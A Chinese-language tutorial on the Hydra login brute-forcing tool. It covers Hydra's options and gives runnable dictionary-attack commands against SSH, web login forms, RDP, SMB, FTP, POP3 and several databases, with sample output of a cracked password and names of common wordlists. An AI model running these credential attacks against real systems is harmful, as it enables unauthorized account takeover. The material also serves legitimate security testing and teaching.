Hydra网络登录密码爆破工具使用
Hydra 使用教程
一、参数
-l 指定用户名
-p 指定密码
-L 指定用户名字典
-P 指定密码字典
-C 指定所用格式为“user:password”的字典文件
-e
- n null,表示尝试空密码
- s same,把用户名本身当做密码进行尝试
- r 反向,把用户名倒叙,当做密码进行尝试。
-o 保存执行结果
-vV 显示执行细节
-s 指定非默认端口
-M 指定破解的目标文件,如果不是默认端口,后面跟上“:port”
-t 指定爆破时的任务数量(默认16)
二、简单使用
1)在kali中打开终端,直接输入hydra,可以看到hydra的版本、参数、以及可以爆破的协议。

从图中圈起来的地方可以看到,hydra可以爆破 http、ftp、mysql等多种协议。
三、爆破SSH
我们拿爆破SSH协议来举个栗子。
用-l参数指定用户名,-p参数指定密码,后面直接跟目标的IP地址和协议。
hydra -l root -p 12345678 192.168.31.173 ssh
成功的话,会把账号和密码高亮显示出来。

也可以使用另外一种格式:
hydra -l root -p 12345678 ssh://192.168.31.173
执行的结果都是一样的。

这里主要简单介绍一下用法,我知道我的SSH密码,所以就直接指定密码了。
但很多时候,我们是不知道密码的,所以就要使用密码字典来爆破。
四、使用字典爆破
小写的-p是指定密码,大写的-P是指定字典文件。
hydra -l root -P 密码字典 192.168.31.173 ssh
1)我们先准备一个简单的密码字典,创建一个pwd.txt文件,在里面输入几个简单的密码:

2)然后指定这个密码字典:
hydra -l root -P pwd.txt 192.168.31.173 ssh
可以看到爆破成功了,但只给了一个结果:

3)如果想看爆破的过程,可以加上-vV参数,显示执行细节:
hydra -l root -P pwd.txt 192.168.31.173 ssh-vV
我们的密码字典中有三个密码,它也会执行三次,并把执行过程列了出来。

4)上面的密码字典使用的是相对路径,我们也可以把它换成绝对路径:
hydra -l root -P /root/pwd.txt 192.168.31.173 ssh

SSH协议的默认用户是 root,所以上面我们都是指定的用户名,如果不确定用户名,就要指定用户名字典,比如下面这种格式:
hydra -L /root/usr.txt -P /root/pwd.txt 192.168.31.173 ssh
爆破其他协议服务时,把协议名和默认用户名换一下就可以了。
六、爆破登录页
先确定目标是通过post还是get传输登录的凭据,比如get传输有以下选项:<url>:<form parameters>:<condition string>[:<optional>[:<optional>]
案例:
user@machine$ hydra -l admin -P 500-worst-passwords.txt 10.10.x.x http-get-form "/login-get/index.php:username=^USER^&password=^PASS^:S=logout.php" -f
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2021-10-13 08:06:22
[DATA] max 16 tasks per 1 server, overall 16 tasks, 500 login tries (l:1/p:500), ~32 tries per task
[DATA] attacking http-get-form://10.10.x.x:80//login-get/index.php:username=^USER^&password=^PASS^:S=logout.php
[80][http-get-form] host: 10.10.x.x login: admin password: xxxxxx
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra)
finished at 2021-10-13 08:06:45
PS:参数解释
- -l admin 指定单个用户名,使用-L 为用户名词表
- -P 指定词表的完整路径,您可以通过使用-p 指定单个密码.
- 10.10.x.x 目标的主机 IP 地址或完全限定域名(FQDN)。
- HTTP 请求类型,可以是 http-get-form 或 http-post-form,然后指定 URL、路径和条件,它们通过冒号分隔:
- 目标网站服务器的登录页面路径为 login-get/index.php。
- 用户名和密码的参数为
username=^USER^&password=^PASS^,通过注入^USER^进行暴力破解用户名,^PASS^用于从指定的字典中暴力破解密码。- 通过指定
F=失败条件来消除失败响应,S=成功条件来获取成功响应,比如失败页面存在 'Invalid password',那就设置F=Invalid password- -f 在找到有效用户名和密码后停止暴力破解攻击
字典
pop3爆破密码的文件为:fasttrack.txt
常用字典:rockyou.txt
Hydra爆破常见服务
| 远程桌面(RDP) | hydra -l administrator -P 密码字典 192.168.31.173 rdp |
|---|---|
| 共享文件(SMB) | hydra -l administrator -P 密码字典 192.168.31.173 smb |
| 文件传输(FTP) | hydra -l 用户名 -P 密码字典 192.168.31.173 ftp |
| 邮箱协议(POP3) | hydra -l 用户名 -P 密码字典 192.168.31.173 pop3 |
| MSSQL数据库 | hydra -l sa -P 密码字典 192.168.31.173 mssql |
| MySQL数据库 | hydra -l 用户名 -P 密码字典 192.168.31.173 mysql |
| Oracle数据库 | hydra -l 用户名 -P 密码字典 192.168.31.173 oracle |
| Redis数据库 | hydra -l 用户名 -P 密码字典 192.168.31.173 redis |
| PgSQL数据库 | hydra -l 用户名 -P 密码字典 192.168.31.173 postgresql |
补充:hydra自带的密码本在/usr/share/hydra/passwords.txt


浙公网安备 33010602011771号